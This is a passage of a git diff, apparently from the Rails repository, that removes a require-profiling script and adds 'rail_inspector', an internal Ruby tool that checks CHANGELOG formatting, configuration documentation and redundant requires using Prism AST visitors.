-      after_rss = `ps -o rss= -p #{Process.pid}`.to_i
-
-      if mode
-        if printer = ARGV.shift
-          puts "RubyProf outputting to stderr with printer #{printer}"
-          RubyProf.const_get("#{printer.to_s.classify}Printer").new(results).print($stdout)
-        elsif RubyProf.const_defined?(:CallStackPrinter)
-          filename = "#{File.basename(path, '.rb')}.#{mode}.html"
-          puts "RubyProf outputting to #{filename}"
-          File.open(filename, "w") do |out|
-            RubyProf::CallStackPrinter.new(results).print(out)
-          end
-        else
-          filename = "#{File.basename(path, '.rb')}.#{mode}.callgrind"
-          puts "RubyProf outputting to #{filename}"
-          File.open(filename, "w") do |out|
-            RubyProf::CallTreePrinter.new(results).print(out)
-          end
-        end
-      end
-
-      RequireProfiler.stats.each do |file, depth, sec|
-        if sec
-          puts "%8.1f ms  %s%s" % [sec * 1000, " " * depth, file]
-        else
-          puts "#{' ' * (13 + depth)}#{file}"
-        end
-      end
-      puts "%8.1f ms  %d KB RSS" % [elapsed * 1000, after_rss - before_rss]
-    end
-
-    private
-
-      def assert_ruby_file_exists(path)
-        fail Error.new("No such file") unless File.exist?(path)
-        fail Error.new("#{path} is a directory") if File.directory?(path)
-        ruby_extension = File.extname(path) == ".rb"
-        ruby_executable = File.open(path, "rb") { |f| f.readline } =~ [/\A#!.*ruby/]
-        fail Error.new("Not a ruby file") unless ruby_extension || ruby_executable
-      end
-
-      module RequireProfiler
-        private
-          def require(file, *args) RequireProfiler.profile(file) { super } end
-          def load(file, *args) RequireProfiler.profile(file) { super } end
-
-          @depth, @stats = 0, []
-          class << self
-            attr_accessor :depth
-            attr_accessor :stats
-
-            def profile(file)
-              stats << [file, depth]
-              self.depth += 1
-              result = nil
-              elapsed = Benchmark.realtime { result = yield }
-              self.depth -= 1
-              stats.pop if stats.last.first == file
-              stats << [file, depth, elapsed] if result
-              result
-            end
-          end
-      end
-  end
-end
-# ruby-prof printer name causes the third arg to be sent :classify
-#   which is probably overkill if you already know the name of the ruby-prof
-#   printer you want to use, e.g. Graph
-begin
-  require "active_support/inflector"
-  require "active_support/core_ext/string/inflections"
-rescue LoadError
-  STDERR.puts $!.message
-  class String
-    # File activesupport/lib/active_support/inflector/methods.rb, line 150
-    def classify
-      # strip out any leading schema name
-      camelize(sub(/.*\./, ""))
-    end
-    # File activesupport/lib/active_support/inflector/methods.rb, line 68
-    def camelize(uppercase_first_letter = true)
-      string = self
-      if uppercase_first_letter
-        string = string.sub(/^[a-z\d]*/) { |match| match.capitalize }
-      else
-        string = string.sub(/^(?:(?=\b|[A-Z_])|\w)/) { |match| match.downcase }
-      end
-      string.gsub(/(?:_|(\/))([a-z\d]*)/) { "#{$1}#{$2.capitalize}" }.gsub("/", "::")
-    end
-  end
-end
-if $0 == __FILE__
-  if (filename = ARGV.shift)
-    path = File.expand_path(filename)
-    mode = ARGV.shift
-    CodeTools::Profiler.new(path, mode).profile_requires
-  else
-    STDERR.puts "No file path entered. Usage is tools/profile path/to/file.rb [ruby-prof mode] [ruby-prof printer]"
-  end
-end
diff --git a/tools/rail_inspector/LICENSE b/tools/rail_inspector/LICENSE
new file mode 100644
index 0000000000000..d39c8b0f42111
--- /dev/null
+++ b/tools/rail_inspector/LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) Hartley McGuire
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/tools/rail_inspector/Rakefile b/tools/rail_inspector/Rakefile
new file mode 100644
index 0000000000000..478656f61edd1
--- /dev/null
+++ b/tools/rail_inspector/Rakefile
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+require "bundler/gem_tasks"
+require "minitest/test_task"
+require "rubocop/rake_task"
+
+Minitest::TestTask.create
+
+RuboCop::RakeTask.new
+
+task default: [:test, :rubocop]
diff --git a/tools/rail_inspector/bin/console b/tools/rail_inspector/bin/console
new file mode 100755
index 0000000000000..534eaa8d0b58b
--- /dev/null
+++ b/tools/rail_inspector/bin/console
@@ -0,0 +1,15 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+require "bundler/setup"
+require_relative "../lib/rail_inspector"
+
+# You can add fixtures and/or initialization code here to make experimenting
+# with your gem easier. You can also use a different console, if you like.
+
+# (If you use this, don't forget to add pry to your Gemfile!)
+# require "pry"
+# Pry.start
+
+require "irb"
+IRB.start(__FILE__)
diff --git a/tools/rail_inspector/lib/rail_inspector.rb b/tools/rail_inspector/lib/rail_inspector.rb
new file mode 100644
index 0000000000000..4b17a907b4ff3
--- /dev/null
+++ b/tools/rail_inspector/lib/rail_inspector.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require_relative "rail_inspector/version"
+
+# MIT License
+#
+# Copyright (c) Hartley McGuire
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+module RailInspector
+  class << self
+    def frameworks(rails_path)
+      @frameworks ||= begin
+        spec = Gem::Specification.load(rails_path.join("rails.gemspec").to_s)
+        names = spec.dependencies.map(&:name)
+        names.delete("bundler")
+        names
+      end
+    end
+  end
+end
diff --git a/tools/rail_inspector/lib/rail_inspector/changelog.rb b/tools/rail_inspector/lib/rail_inspector/changelog.rb
new file mode 100644
index 0000000000000..9cfe5dacfce70
--- /dev/null
+++ b/tools/rail_inspector/lib/rail_inspector/changelog.rb
@@ -0,0 +1,280 @@
+# frozen_string_literal: true
+
+require "pathname"
+require "strscan"
+
+module RailInspector
+  class Changelog
+    class Offense
+      attr_reader :line, :line_number, :range, :message
+
+      def initialize(line, line_number, range, message)
+        @line = line
+        @line_number = line_number
+        @range = range
+        @message = message
+      end
+    end
+
+    class Entry
+      attr_reader :lines, :offenses
+
+      def initialize(lines, starting_line)
+        @lines = lines
+        @starting_line = starting_line
+
+        @offenses = []
+
+        validate_authors
+        validate_leading_whitespace
+        validate_trailing_whitespace
+      end
+
+      private
+        def header
+          lines.first
+        end
+
+        def validate_authors
+          return if no_changes?
+
+          authors =
+            lines.reverse.find { |line| line.match?(/^ *\*[^*\s].*[^*\s]\*$/) }
+
+          return if authors
+
+          add_offense(
+            header,
+            line_in_file(0),
+            1..header.length,
+            "CHANGELOG entry is missing authors."
+          )
+        end
+
+        def validate_leading_whitespace
+          unless header.match?(/\* {3}\S/)
+            add_offense(
+              header,
+              line_in_file(0),
+              1..4,
+              "CHANGELOG header must start with '*' and 3 spaces"
+            )
+          end
+
+          lines.each_with_index do |line, i|
+            next if i == 0
+            next if line.strip.empty?
+            next if line.start_with?(" " * 4)
+
+            add_offense(
+              line,
+              line_in_file(i),
+              1..4,
+              "CHANGELOG line must be indented 4 spaces"
+            )
+          end
+        end
+
+        def validate_trailing_whitespace
+          lines.each_with_index do |line, i|
+            next unless line.end_with?(" ", "\t")
+
+            add_offense(
+              line,
+              line_in_file(i),
+              (line.rstrip.length + 1)..line.length,
+              "Trailing whitespace detected."
+            )
+          end
+        end
+
+      private
+        def no_changes?
+          lines.first == "*   No changes."
+        end
+
+        def add_offense(...)
+          @offenses << Offense.new(...)
+        end
+
+        def line_in_file(line_in_entry)
+          @starting_line + line_in_entry
+        end
+    end
+
+    class Parser
+      def self.call(file)
+        new(file).parse
+      end
+
+      def self.to_proc
+        method(:call).to_proc
+      end
+
+      def initialize(file)
+        @buffer = StringScanner.new(file)
+        @lines = []
+        @current_line = 1
+
+        @entries = []
+      end
+
+      def parse
+        until @buffer.eos?
+          if peek_release_header?
+            pop_entry
+            next parse_release_header
+          end
+
+          if peek_footer?
+            pop_entry
+            next parse_footer
+          end
+
+          pop_entry if peek_probably_header?
+
+          parse_line
+        end
+
+        @entries
+      end
+
+      private
+        def parse_line
+          @current_line += 1
+          @lines << @buffer.scan_until(/\n/)[0...-1]
+        end
+
+        FOOTER_TEXT = "Please check"
+
+        RELEASE_HEADER = "## Rails"
+
+        def peek_release_header?
+          @buffer.peek(RELEASE_HEADER.length) == RELEASE_HEADER
+        end
+
+        def parse_release_header
+          @buffer.scan(
+            /#{RELEASE_HEADER} .*##\s*/o
+          )
+        end
+
+        def parse_footer
+          @buffer.scan(
+            /#{FOOTER_TEXT} \[\d-\d-stable\]\(.*\) for previous changes\.\n/o
+          )
+        end
+
+        def peek_probably_header?
+          return false unless @buffer.peek(1) == "*"
+
+          maybe_header = @buffer.check_until(/\n/).strip
+
+          # If there are an odd number of *, then the line is almost certainly a
+          # header since bolding requires pairs.
+          return true unless maybe_header.count("*").even?
+
+          !maybe_header.end_with?("*")
+        end
+
+        def peek_footer?
+          @buffer.peek(FOOTER_TEXT.length) == FOOTER_TEXT
+        end
+
+        def pop_entry
+          # Ensure we don't pop an entry if we only see newlines and the footer
+          return unless @lines.any? { |line| line.match?(/\S/) }
+
+          @entries << Changelog::Entry.new(@lines, @current_line - @lines.length)
+          @lines = []
+        end
+    end
+
+    class Formatter
+      def initialize
+        @changelog_count = 0
+        @offense_count = 0
+      end
+
+      def to_proc
+        method(:call).to_proc
+      end
+
+      def call(changelog)
+        @changelog_count += 1
+
+        changelog.offenses.each { |o| process_offense(changelog, o) }
+      end
+
+      def finish
+        puts "#{@changelog_count} changelogs inspected, #{@offense_count} offense#{"s" unless @offense_count == 1} detected"
+      end
+
+      private
+        def process_offense(file, offense)
+          @offense_count += 1
+
+          puts "#{file.path}:#{offense.line_number} #{offense.message}"
+          puts offense.line
+          puts ("^" * offense.range.count).rjust(offense.range.end)
+        end
+    end
+
+    class Runner
+      attr_reader :formatter, :rails_path
+
+      def initialize(rails_path)
+        @formatter = Formatter.new
+        @rails_path = Pathname.new(rails_path)
+      end
+
+      def call
+        invalid_changelogs =
+          changelogs.reject do |changelog|
+            output = changelog.valid? ? "." : "E"
+            $stdout.write(output)
+
+            changelog.valid?
+          end
+
+        puts "\n\n"
+        puts "Offenses:\n\n" unless invalid_changelogs.empty?
+
+        changelogs.each(&formatter)
+        formatter.finish
+
+        invalid_changelogs.empty?
+      end
+
+      private
+        def changelogs
+          changelog_paths.map { |path| Changelog.new(path, File.read(path)) }
+        end
+
+        def changelog_paths
+          Dir[rails_path.join("*/CHANGELOG.md")]
+        end
+    end
+
+    attr_reader :path, :content, :entries
+
+    def initialize(path, content)
+      @path = path
+      @content = content
+      @entries = parser.parse
+    end
+
+    def valid?
+      offenses.empty?
+    end
+
+    def offenses
+      @offenses ||= entries.flat_map(&:offenses)
+    end
+
+    private
+      def parser
+        @parser ||= Parser.new(content)
+      end
+  end
+end
diff --git a/tools/rail_inspector/lib/rail_inspector/cli.rb b/tools/rail_inspector/lib/rail_inspector/cli.rb
new file mode 100644
index 0000000000000..d201aee5fdae6
--- /dev/null
+++ b/tools/rail_inspector/lib/rail_inspector/cli.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require "thor"
+require_relative "../rail_inspector"
+
+module RailInspector
+  class Cli < Thor
+    class << self
+      def exit_on_failure?
+        true
+      end
+    end
+
+    desc "changelogs RAILS_PATH", "Check CHANGELOG files for common issues"
+    def changelogs(rails_path)
+      require_relative "./changelog"
+
+      exit Changelog::Runner.new(rails_path).call
+    end
+
+    desc "configuration RAILS_PATH", "Check various Configuration issues"
+    option :autocorrect, type: :boolean, aliases: :a
+    def configuration(rails_path)
+      require_relative "./configuring"
+
+      checker = Configuring.new(rails_path)
+      checker.check
+
+      puts checker.error_message if checker.errors.any?
+      exit checker.errors.empty? unless options[:autocorrect]
+
+      checker.write!
+    end
+
+    desc "requires RAILS_PATH", "Check for autoloads being required"
+    option :autocorrect, type: :boolean, aliases: :a
+    def requires(rails_path)
+      require_relative "./requires"
+
+      exit Requires.new(rails_path, options[:autocorrect]).call
+    end
+  end
+end
diff --git a/tools/rail_inspector/lib/rail_inspector/configuring.rb b/tools/rail_inspector/lib/rail_inspector/configuring.rb
new file mode 100644
index 0000000000000..abf26e4d6df09
--- /dev/null
+++ b/tools/rail_inspector/lib/rail_inspector/configuring.rb
@@ -0,0 +1,107 @@
+# frozen_string_literal: true
+
+require "pathname"
+require_relative "./configuring/check/general_configuration"
+require_relative "./configuring/check/framework_defaults"
+require_relative "./configuring/check/new_framework_defaults_file"
+require_relative "./configuring/document"
+require_relative "./visitor/framework_default"
+
+module RailInspector
+  class Configuring
+    class Files
+      class Proxy
+        def initialize(pathname)
+          @pathname = pathname
+        end
+
+        def parse
+          @parse ||= Prism.parse_file(@pathname.to_s).value
+        end
+
+        def read
+          @pathname.read
+        end
+
+        def write(string)
+          @pathname.write(string)
+        end
+
+        def to_s
+          @pathname.to_s
+        end
+      end
+
+      def initialize(root)
+        @root = Pathname.new(root)
+        @files = {}
+      end
+
+      def []=(name, path)
+        @files[name] = Proxy.new(@root.join(path))
+      end
+
+      def method_missing(name, ...)
+        @files[name] || super
+      end
+    end
+
+    attr_reader :errors, :files
+
+    def initialize(rails_path)
+      @errors = []
+      @files = Files.new(rails_path)
+
+      @files[:application_configuration] = "railties/lib/rails/application/configuration.rb"
+      @files[:doc_path] = "guides/source/configuring.md"
+      @files[:rails_version] = "RAILS_VERSION"
+
+      @files[:new_framework_defaults] = "railties/lib/rails/generators/rails/app/templates/config/initializers/new_framework_defaults_%{version}.rb.tt" % {
+        version: rails_version.tr(".", "_")
+      }
+    end
+
+    def check
+      [
+        Check::GeneralConfiguration.new(self),
+        Check::FrameworkDefaults.new(
+          self,
+          framework_defaults_by_version,
+          doc.versioned_defaults,
+        ),
+        Check::NewFrameworkDefaultsFile.new(
+          self,
+          framework_defaults_by_version[rails_version].keys,
+          files.new_framework_defaults.read
+        ),
+      ].each(&:check)
+    end
+
+    def doc
+      @doc ||= Configuring::Document.parse(files.doc_path.read)
+    end
+
+    def rails_version
+      @rails_version ||= files.rails_version.read.to_f.to_s
+    end
+
+    def write!
+      files.doc_path.write(doc.to_s)
+    end
+
+    def error_message
+      return unless errors.any?
+
+      errors.join("\n") + "\n" +
+        "Make sure new configurations are added to configuring.md#rails-general-configuration in alphabetical order.\n" +
+        "Errors may be autocorrectable with the --autocorrect flag"
+    end
+
+    private
+      def framework_defaults_by_version
+        @framework_defaults_by_version ||= Visitor::FrameworkDefault.new.tap { |visitor|
+          visitor.visit(files.application_configuration.parse)
+        }.config_map
+      end
+  end
+end
diff --git a/tools/rail_inspector/lib/rail_inspector/configuring/check/framework_defaults.rb b/tools/rail_inspector/lib/rail_inspector/configuring/check/framework_defaults.rb
new file mode 100644
index 0000000000000..86ab50556d100
--- /dev/null
+++ b/tools/rail_inspector/lib/rail_inspector/configuring/check/framework_defaults.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+require "tempfile"
+
+module RailInspector
+  class Configuring
+    module Check
+      class FrameworkDefaults
+        attr_reader :checker
+
+        def initialize(checker, defaults_by_version, documented_defaults)
+          @checker = checker
+          @defaults_by_version = defaults_by_version
+          @documented_defaults = documented_defaults
+        end
+
+        def check
+          expected_text = +""
+
+          expected_text =
+            @defaults_by_version.reverse_each.map { |version, defaults|
+              expected_text = +"#### Default Values for Target Version #{version}\n"
+
+              expected_text << "\n" unless defaults.empty?
+
+              defaults.map { |config, value|
+                full_config =
+                  case config
+                  when /^[A-Z]/
+                    config
+                  when /^self/
+                    config.sub("self", "config")
+                  else
+                    "config.#{config}"
+                  end
+
+                "- [`#{full_config}`](##{full_config.tr("._", "-").downcase}): `#{value}`\n"
+              }.sort.each { |t| expected_text << t }
+
+              expected_text
+            }.join("\n")
+
+          config_diff =
+            Tempfile.create("expected") do |doc|
+              doc << expected_text
+              doc.flush
+
+              Tempfile.create("actual") do |code|
+                code << @documented_defaults
+                code.flush
+
+                `git diff --color --no-index #{doc.path} #{code.path}`
+              end
+            end
+
+          checker.errors << <<~MESSAGE unless config_diff.empty?
+            #{checker.files.application_configuration}: Incorrect load_defaults docs
+            --- Expected
+            +++ Actual
+            #{config_diff.split("\n")[5..].join("\n")}
+          MESSAGE
+
+          checker.doc.versioned_defaults = expected_text
+        end
+      end
+    end
+  end
+end
diff --git a/tools/rail_inspector/lib/rail_inspector/configuring/check/general_configuration.rb b/tools/rail_inspector/lib/rail_inspector/configuring/check/general_configuration.rb
new file mode 100644
index 0000000000000..5170cf3145870
--- /dev/null
+++ b/tools/rail_inspector/lib/rail_inspector/configuring/check/general_configuration.rb
@@ -0,0 +1,72 @@
+# frozen_string_literal: true
+
+require_relative "../../visitor/attribute"
+
+module RailInspector
+  class Configuring
+    module Check
+      class GeneralConfiguration
+        class AccessorParser
+          def initialize(checker)
+            @checker = checker
+          end
+
+          def call
+            visitor = Visitor::Attribute.new
+            visitor.visit(app_config_tree)
+            visitor.attribute_map[APP_CONFIG_CONST][:attr_accessor]
+          end
+
+          private
+            APP_CONFIG_CONST = "Rails::Application::Configuration"
+
+            def app_config_tree
+              @checker.files.application_configuration.parse
+            end
+        end
+
+        attr_reader :checker, :expected_accessors
+
+        def initialize(checker, expected_accessors: AccessorParser.new(checker).call)
+          @checker = checker
+          @expected_accessors = expected_accessors
+        end
+
+        def check
+          header, *config_sections = documented_general_config
+
+          non_nested_accessors =
+            expected_accessors.reject do |a|
+              config_sections.any? { |section| /\.#{a}\./.match?(section[0]) }
+            end
+
+          non_nested_accessors.each do |accessor|
+            config_header = "#### `config.#{accessor}`"
+
+            unless config_sections.any? { |section| section[0] == config_header }
+              checker.errors << "Missing configuration: #{config_header}"
+              config_sections << [config_header, "", "FIXME", ""]
+            end
+          end
+
+          new_config = header + config_sections.sort_by { |section| section[0].split("`")[1] }.flatten
+
+          return if new_config == checker.doc.general_config
+
+          checker.errors << "General Configuration is not alphabetical"
+
+          checker.doc.general_config = new_config
+        end
+
+        private
+          def documented_general_config
+            checker
+              .doc
+              .general_config
+              .slice_before { |line| line.start_with?("####") }
+              .to_a
+          end
+      end
+    end
+  end
+end
diff --git a/tools/rail_inspector/lib/rail_inspector/configuring/check/new_framework_defaults_file.rb b/tools/rail_inspector/lib/rail_inspector/configuring/check/new_framework_defaults_file.rb
new file mode 100644
index 0000000000000..78e064b42353f
--- /dev/null
+++ b/tools/rail_inspector/lib/rail_inspector/configuring/check/new_framework_defaults_file.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+module RailInspector
+  class Configuring
+    module Check
+      class NewFrameworkDefaultsFile
+        attr_reader :checker, :visitor
+
+        # Defaults are strings like:
+        #   self.yjit
+        #   action_controller.escape_json_responses
+        def initialize(checker, defaults, file_content)
+          @checker = checker
+          @defaults = defaults
+          @file_content = file_content
+        end
+
+        def check
+          @defaults.each do |config|
+            if config.start_with? "self"
+              next if @file_content.include? config.gsub(/^self/, "config")
+              next if @file_content.include? config.gsub(/^self/, "configuration")
+            end
+
+            next if @file_content.include? config
+
+            next if config == "self.yjit"
+
+            checker.errors << <<~MESSAGE
+              #{checker.files.new_framework_defaults}: Missing new default
+              #{config}
+
+            MESSAGE
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/tools/rail_inspector/lib/rail_inspector/configuring/document.rb b/tools/rail_inspector/lib/rail_inspector/configuring/document.rb
new file mode 100644
index 0000000000000..f3e08a4466f23
--- /dev/null
+++ b/tools/rail_inspector/lib/rail_inspector/configuring/document.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+module RailInspector
+  class Configuring
+    class Document
+      class << self
+        def parse(text)
+          before, *versioned_defaults, general_config, after =
+            text
+              .split("\n")
+              .slice_before do |line|
+                [
+                  "#### Default Values for Target Version",
+                  "### Rails General Configuration",
+                  "### Configuring Assets"
+                ].any? { |s| line.start_with?(s) }
+              end
+              .to_a
+
+          new(before, versioned_defaults.flatten.join("\n"), general_config, after)
+        end
+      end
+
+      attr_accessor :general_config, :versioned_defaults
+
+      def initialize(before, versioned_defaults, general_config, after)
+        @before, @versioned_defaults, @general_config, @after =
+          before, versioned_defaults, general_config, after
+      end
+
+      def to_s
+        (@before + [@versioned_defaults] + @general_config + @after).join("\n") +
+          "\n"
+      end
+    end
+  end
+end
diff --git a/tools/rail_inspector/lib/rail_inspector/requires.rb b/tools/rail_inspector/lib/rail_inspector/requires.rb
new file mode 100644
index 0000000000000..73f43563c1621
--- /dev/null
+++ b/tools/rail_inspector/lib/rail_inspector/requires.rb
@@ -0,0 +1,92 @@
+# frozen_string_literal: true
+
+require "active_support"
+require "active_support/core_ext/string"
+require "prism"
+
+require_relative "./visitor/load"
+
+module RailInspector
+  class Requires
+    def initialize(rails_path, autocorrect)
+      @loads = {}
+      @rails_path = Pathname.new(rails_path)
+      @exit = true
+      @autocorrect = autocorrect
+    end
+
+    def call
+      populate_loads
+
+      prevent_active_support_rails_requires
+
+      @exit
+    end
+
+    private
+      def populate_loads
+        current_file = nil
+        v = Visitor::Load.new { @loads[current_file] }
+
+        @rails_path.glob("{#{frameworks.join(",")}}/lib/**/*.rb") do |file_pathname|
+          current_file = file_pathname.to_s
+
+          @loads[current_file] = { requires: [], autoloads: [] }
+
+          Prism.parse_file(current_file).value.accept(v)
+        end
+      end
+
+      def prevent_active_support_rails_requires
+        frameworks.each do |framework|
+          next if framework == "activesupport"
+
+          @rails_path.glob("#{framework}/lib/*.rb").each do |root_path|
+            root_requires = @loads[root_path.to_s][:requires]
+            next if root_requires.include?("active_support/rails")
+
+            # required transitively
+            next if root_requires.include?("action_dispatch")
+            # action_pack namespace doesn't include any code
+            # arel does not depend on active_support at all
+            next if ["action_pack.rb", "arel.rb"].include?(root_path.basename.to_s)
+
+            @exit = false
+            puts root_path
+            puts "  + \"active_support/rails\" (framework root)"
+          end
+        end
+
+        active_support_rails_requires = @loads["activesupport/lib/active_support/rails.rb"][:requires]
+
+        duplicated_requires = {}
+
+        @loads.each do |path, file_loads|
+          next if path.start_with? "activesupport"
+
+          if active_support_rails_requires.intersect?(file_loads[:requires])
+            duplicated_requires[path] = active_support_rails_requires.intersection(file_loads[:requires])
+          end
+        end
+
+        duplicated_requires.each do |path, offenses|
+          @exit = false
+          puts path
+          offenses.each do |duplicate_require|
+            puts "  - #{duplicate_require} (active_support/rails)"
+
+            next unless @autocorrect
+
+            file = File.read(path)
+            file.gsub!("require \"#{duplicate_require}\"\n", "")
+
+            File.write(path, file)
+          end
+        end
+      end
+
+      def frameworks
+        RailInspector.frameworks(@rails_path)
+      end
+  end
+end
diff --git a/tools/rail_inspector/lib/rail_inspector/version.rb b/tools/rail_inspector/lib/rail_inspector/version.rb
new file mode 100644
index 0000000000000..cfc482cf62a4c
--- /dev/null
+++ b/tools/rail_inspector/lib/rail_inspector/version.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+module RailInspector
+  VERSION = "0.0.2"
+end
diff --git a/tools/rail_inspector/lib/rail_inspector/visitor/attribute.rb b/tools/rail_inspector/lib/rail_inspector/visitor/attribute.rb
new file mode 100644
index 0000000000000..ec13bbf363420
--- /dev/null
+++ b/tools/rail_inspector/lib/rail_inspector/visitor/attribute.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+require "prism"
+
+module RailInspector
+  module Visitor
+    class Attribute < Prism::Visitor
+      attr_reader :attribute_map
+
+      def initialize
+        @attribute_map = {}
+        @namespace_stack = []
+      end
+
+      def with_namespace(node)
+        @namespace_stack << node.constant_path.name
+        visit_child_nodes(node)
+        @namespace_stack.pop
+      end
+
+      alias visit_class_node with_namespace
+      alias visit_module_node with_namespace
+
+      def visit_call_node(node)
+        attr_access = node.name
+        return unless ATTRIBUTE_METHODS.include?(attr_access)
+
+        full_namespace = @namespace_stack.join("::")
+
+        @attribute_map[full_namespace] ||= {}
+        @attribute_map[full_namespace][attr_access] ||= Set.new
+
+        attributes = node.arguments.arguments.map { |p| p.value }
+
+        @attribute_map[full_namespace][attr_access].merge(attributes)
+      end
+
+      private
+        ATTRIBUTE_METHODS = %i[attr_accessor attr_reader attr_writer]
+    end
+  end
+end
diff --git a/tools/rail_inspector/lib/rail_inspector/visitor/framework_default.rb b/tools/rail_inspector/lib/rail_inspector/visitor/framework_default.rb
new file mode 100644
index 0000000000000..9fe61a6b4bea9
--- /dev/null
+++ b/tools/rail_inspector/lib/rail_inspector/visitor/framework_default.rb
@@ -0,0 +1,133 @@
+# frozen_string_literal: true
+
+require "prism"
+
+require_relative "./hash_to_string"
+
+module RailInspector
+  module Visitor
+    class FrameworkDefault
+      attr_reader :config_map
+
+      def initialize
+        @config_map = {}
+      end
+
+      def visit(node)
+        target_version_case = node.breadth_first_search do |n|
+          n in Prism::CaseNode[
+            predicate: Prism::CallNode[receiver: Prism::LocalVariableReadNode[name: :target_version]]
+          ]
+        end
+
+        target_version_case.conditions.each { |cond| visit_when(cond) }
+      end
+
+      private
+        def visit_when(node)
+          version = node.conditions[0].unescaped
+
+          config_map[version] = VersionedConfig.new.tap { |v| v.visit(node.statements) }.configs
+        end
+
+        class VersionedConfig < Prism::Visitor
+          attr_reader :configs
+
+          def initialize
+            @configs = {}
+            @framework_stack = []
+          end
+
+          def visit_if_node(node)
+            unless new_framework = respond_to_framework?(node.predicate)
+              return visit_child_nodes(node)
+            end
+
+            if ENV["STRICT"] && current_framework
+              raise "Potentially nested framework? Current: '#{current_framework}', found: '#{new_framework}'"
+            end
+
+            @framework_stack << new_framework
+            visit_child_nodes(node)
+            @framework_stack.pop
+          end
+
+          def visit_call_node(node)
+            name = node.name.to_s
+
+            unless name.end_with? "="
+              return super
+            end
+
+            handle_assignment(node, name[...-1], node.arguments.arguments[0])
+          end
+
+          def visit_call_or_write_node(node)
+            name = node.write_name.to_s
+
+            unless name.end_with? "="
+              return super
+            end
+
+            handle_assignment(node, node.read_name.to_s, node.value)
+          end
+
+          def handle_assignment(node, name, value)
+            prefix = case node.receiver
+            in Prism::ConstantReadNode[name: constant_name]
+              constant_name
+            in Prism::SelfNode
+              "self"
+            in Prism::CallNode[receiver: nil, name: framework]
+              framework_string = framework.to_s
+
+              unless current_framework == framework_string
+                raise "expected: #{current_framework}, actual: #{framework_string}"
+              end
+
+              framework_string
+            else
+              node.receiver.location.slice
+            end
+
+            target = "#{prefix}.#{name}"
+
+            string_value = case value
+            in Prism::ConstantPathNode
+              value.full_name
+            in Prism::HashNode
+              HashToString.new.tap { |v| v.visit(value) }.to_s
+            in Prism::InterpolatedStringNode
+              "\"#{value.parts.map(&:content).join("")}\""
+            in Prism::FalseNode
+              "false"
+            in Prism::TrueNode
+              "true"
+            else
+              value.location.slice
+            end
+
+            @configs[target] = string_value
+          end
+
+          private
+            def current_framework
+              @framework_stack.last
+            end
+
+            def respond_to_framework?(node)
+              if node in Prism::CallNode[
+                name: :respond_to?,
+                arguments: Prism::ArgumentsNode[
+                  arguments: [
+                    Prism::SymbolNode[unescaped: new_framework]
+                  ]
+                ]
+              ]
+                new_framework
+              end
+            end
+        end
+    end
+  end
+end
diff --git a/tools/rail_inspector/lib/rail_inspector/visitor/hash_to_string.rb b/tools/rail_inspector/lib/rail_inspector/visitor/hash_to_string.rb
new file mode 100644
index 0000000000000..d1bfce53c9e95
--- /dev/null
+++ b/tools/rail_inspector/lib/rail_inspector/visitor/hash_to_string.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+require "prism"
+
+module RailInspector
+  module Visitor
+    class HashToString < Prism::Visitor
+      attr_reader :to_s
+
+      def initialize
+        @to_s = +""
+      end
+
+      def visit_hash_node(node)
+        @to_s << "{"
+
+        if node.elements.length > 0
+          visit(node.elements[0])
+
+          if node.elements.length > 1
+            node.elements[1..-1].each do |a|
+              @to_s << ","
+              visit(a)
+            end
+          end
+          @to_s << " "
+        end
+
+        @to_s << "}"
+      end
+
+      def visit_assoc_node(node)
+        @to_s << " "
+
+        visit(node.key)
+
+        case node.key
+        in Prism::SymbolNode
+          @to_s << ": "
+        in Prism::StringNode
+          @to_s << " => "
+        end
+
+        case node.value
+        when Prism::SymbolNode
+          @to_s << ":"
+        end
+
+        visit(node.value)
+      end
+
+      def visit_integer_node(node)
+        @to_s << node.value.to_s
+      end
+
+      def visit_string_node(node)
+        @to_s << '"'
+        @to_s << node.unescaped
